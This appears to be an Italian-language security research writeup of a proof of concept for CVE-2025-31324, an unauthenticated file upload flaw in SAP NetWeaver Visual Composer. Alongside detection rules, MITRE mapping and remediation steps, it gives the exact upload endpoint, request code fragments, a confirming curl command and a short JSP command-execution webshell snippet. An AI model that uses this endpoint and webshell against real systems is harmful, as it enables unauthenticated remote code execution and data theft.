
Proof-of-concept exploit per CVE-2025-31324, un upload di file non autenticato in SAP NetWeaver Visual Composer, con indicazioni di rilevamento, mapping MITRE e passaggi di remediation.
Tipo: Proof of Concept — Ricerca sulle Vulnerabilità CVE: CVE-2025-31324 CVSS: 10.0 Critico (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Stato: Corretto — SAP Security Note 3594142 + 3604119 Aggiunto al CISA KEV: Maggio 2025
⚠️ Questo PoC utilizza un file JSP benigno ("Hello World") per validare la superficie di attacco senza eseguire codice malevolo. Uso esclusivo in ambienti autorizzati per scopi di pentesting e sviluppo di rilevamenti.
Developed by: HKK$ cat ./vulnerability_summary.txtLa vulnerabilità CVE-2025-31324 risiede nel componente Visual Composer Metadata Uploader di SAP NetWeaver AS Java — un difetto di missing authorization check che consente a qualsiasi attaccante non autenticato di inviare richieste POST all'endpoint /developmentserver/metadatauploader, risultando in un upload non limitato di file arbitrari.
La CVE colpisce specificamente il SAP NetWeaver Visual Composer Framework versione 7.50, con punteggio CVSS 10.0 — il massimo possibile.
Gli attaccanti hanno sfruttato attivamente questa vulnerabilità da gennaio a maggio 2025, installando webshell persistenti in centinaia di sistemi in tutto il mondo.
$ cat ./impact.txtOperando con privilegi elevati e in prossimità dei dati ERP, il lateral movement verso stack SAP ABAP o database connessi è banale dopo lo sfruttamento.
La catena di sfruttamento completa negli attacchi reali:
Upload JSP (CVE-2025-31324)
→ Webshell persistente sul server
→ RCE come processo SAP (alto privilegio)
→ Accesso ai dati ERP (Finance, HR, Supply Chain)
→ Lateral movement verso ABAP / DB
→ Deploy di framework C2 (es: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ ATTACCANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: file JSP/WAR/qualsiasi ────────────► │ Metadata Uploader │ │
│ (senza autenticazione) │ │ │
│ │ ❌ Nessuna verifica │ │
│ │ di auth │ │
│ │ ❌ Nessuna validaz. │ │
│ │ dell'estensione │ │
│ │ ❌ Nessuna sanitiz. │ │
│ │ del contenuto │ │
│ └────────┬────────────┘ │
│ │ │
│ File salvato in: │
│ /irj/root/ o simile │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit reale) │
└─────────────────────────────────────────────────────────────────────────┘
Il /developmentserver/metadatauploader fa parte del SAP Visual Composer — uno strumento di sviluppo low-code per analisti di business per creare applicazioni SAP senza codice Java. L'endpoint è stato progettato per ricevere modelli di metadata durante lo sviluppo. Sebbene il componente non sia abilitato nella configurazione predefinita di NetWeaver, Onapsis ha segnalato che è ampiamente attivato negli ambienti di produzione.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Perché JSP e non un altro formato?
SAP NetWeaver AS Java esegue una JVM — i file .jsp vengono interpretati direttamente dal servlet container (Apache Tomcat integrato) senza compilazione preventiva. Questo rende JSP il formato ideale per webshell in ambienti Java.
La scelta del contenuto benigno ("Hello World") è deliberata per il PoC:
Nello sfruttamento reale, il contenuto sarebbe una webshell JSP con esecuzione di comandi, es:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Perché questo Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
L'endpoint si aspetta una richiesta multipart/form-data — lo stesso formato usato dai moduli HTML di upload file. Questo è intenzionale nel design originale del Visual Composer (upload di modelli di sviluppo).
La libreria requests costruisce automaticamente i boundary del multipart quando viene passato files= — l'header Content-Type: multipart/form-data; boundary=... viene generato internamente.
verify=False: disabilita la validazione del certificato TLS — necessario perché gli ambienti SAP usano spesso certificati self-signed. In produzione, usare verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Componente | Significato |
|---|---|
:50201 | Porta predefinita di SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet di sviluppo del Visual Composer |
metadatauploader | Endpoint specifico per l'upload di metadata |
CONTENTTYPE=MODEL | Tipo di contenuto atteso dall'endpoint |
CLIENT=1 | Mandante SAP (client) — 000, 100, 001 sono comuni |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Sfruttamento dell'endpoint /developmentserver/metadatauploader
# senza autenticazione via HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP webshell caricata → eseguita dal servlet container (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell come meccanismo di persistenza
# Il file JSP persiste nel filesystem del server tra i riavvii
tactic: Defense Evasion
- T1036 # Masquerading
# Webshell denominate come file SAP legittimi (es: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Post-RCE: enumerare processi, utenti, percorsi SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Accesso allo stack ABAP, database connessi via RCE
tactic: Collection
- T1005 # Data from Local System
# Accesso diretto ai dati ERP (Finance, HR, Supply Chain)
$ cat ./affected_versions.txtProdotto: SAP NetWeaver Application Server Java
Componente: Visual Composer Framework
Versione: 7.50 (tutte le build precedenti alla patch di aprile/maggio 2025)
Patch:
SSN 3594142 → Patch iniziale (aprile 2025) — mitiga l'upload di file
SSN 3604119 → Fix della root cause via CVE-2025-42999 (maggio 2025) — affronta la causa principale
SSN 3578900, 3620498, 3621771, 3634501 → Note complementari di hardening
CISA KEV: sia CVE-2025-31324 che CVE-2025-42999 sono stati aggiunti al catalogo
$ cat ./detection_opportunities.md# Regola: POST non autenticato verso l'endpoint del Metadata Uploader
# Fonte: SAP Web Dispatcher / ICM access log
Condizione:
- method: POST
- uri_path CONTAINS: /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
Severità: CRITICA — investigare immediatamente
# Log SAP ICM — pattern sospetto:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# Regola: GET per file .jsp creato di recente fuori dai percorsi SAP legittimi
Condizione:
- method: GET
- uri_path MATCHES: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [lista di JSP legittimi noti]
# Processo figlio sospetto della JVM SAP
# Fonte: Sysmon / EDR process creation
Condizione:
- parent_process: java.exe o jstart.exe
- child_process: cmd.exe OPPURE powershell.exe OPPURE sh OPPURE bash
- command_line CONTAINS: -c OPPURE .socket OPPURE .call( OPPURE .spawn(
Red Canary ha documentato il seguente pattern di rilevamento per lo sfruttamento di CVE-2025-31324 in ambienti Linux: processo python con argomento -c combinato con .socket e .call( o .spawn( — indicativo di reverse shell post-webshell.
# Cercare richieste POST verso l'endpoint vulnerabile negli ultimi 90 giorni
# Directory dei log: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Elencare JSP creati di recente nella directory web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdPRIORITÀ: CRITICA — Patch immediata
1. Verificare se il componente è attivo:
NWA → Configuration → Infrastructure → Java System Properties
Cercare: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. Se non necessario → DISATTIVARE il Visual Composer:
NWA → Start & Stop → Services → VisualComposer → Stop
3. Applicare le patch obbligatorie (in ordine):
SSN 3594142 ← critico (upload di file)
SSN 3604119 ← root cause (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (hardening aggiuntivo)
4. Configurare il JVM Serial Filter (post-patch):
NWA → JVM Parameters → aggiungere filtro per classi malevole
5. Limitare l'accesso di rete all'endpoint nel Web Dispatcher / Firewall:
BLOCCARE: /developmentserver/* per IP esterni
CONSENTIRE: solo host di sviluppo autorizzati
6. Verificare gli IOC — cercare webshell installate prima della patch:
Analizzare i log ICM da gennaio 2025
Cercare file .jsp con contenuto sospetto in /irj/
$ cat ./usage.sh# Installare la dipendenza
pip install requests
# Modificare l'URL nello script prima di eseguire:
# url = "https://<tuo-host-lab>:<porta>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# Eseguire
python cve_2025_31324_poc.py
# Verificare se l'upload ha funzionato (il file deve essere accessibile)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Risposta attesa se vulnerabile: HTML con "Hello World"
# Risposta attesa se patchato: 404 o 403
$ cat ./timeline.txtGen 2025 Inizio dello sfruttamento attivo in-the-wild (rilevato retroattivamente)
24 Apr 2025 SAP pubblica CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28 Apr 2025 CISA aggiunge al Known Exploited Vulnerabilities Catalog
29 Apr 2025 Rapid7, Qualys, Red Canary pubblicano analisi tecniche
07 Mag 2025 Onapsis + Mandiant (Google Cloud) pubblicano briefing congiunto
13 Mag 2025 SAP pubblica SSN 3604119 (root cause via CVE-2025-42999, CVSS 9.1)
15 Mag 2025 CISA aggiunge CVE-2025-42999 al catalogo KEV
20 Mag 2025 Scadenza CISA per il patching nei sistemi federali USA
25 Giu 2025 Unit 42 conclude il monitoraggio attivo della campagna
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] Missing auth negli endpoint di "sviluppo" è un vettore classico sottovalutato
[+] CVSS 10.0 significa: senza auth + rete + RCE completo — la trifecta più critica possibile
[+] Visual Composer non è predefinito ma era ampiamente attivo in produzione — rischio di shadow features
[+] JSP come webshell è particolarmente furtivo: senza compilazione, eseguito direttamente dal container
[+] Gli attaccanti hanno sfruttato per 3+ mesi prima della divulgazione pubblica — il rilevamento SOC è critico
[-] verify=False nel PoC — in un pentest reale, documentare il cert self-signed e usare verify=percorso
[-] CLIENT=1 hardcoded — la produzione può usare 000, 100, 200; enumerare prima
[-] Il PoC non verifica se il file è rimasto accessibile dopo l'upload — aggiungere GET di conferma
[→] Miglioramenti: argparse per host/port/client, verifica automatica post-upload, output in JSON
CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only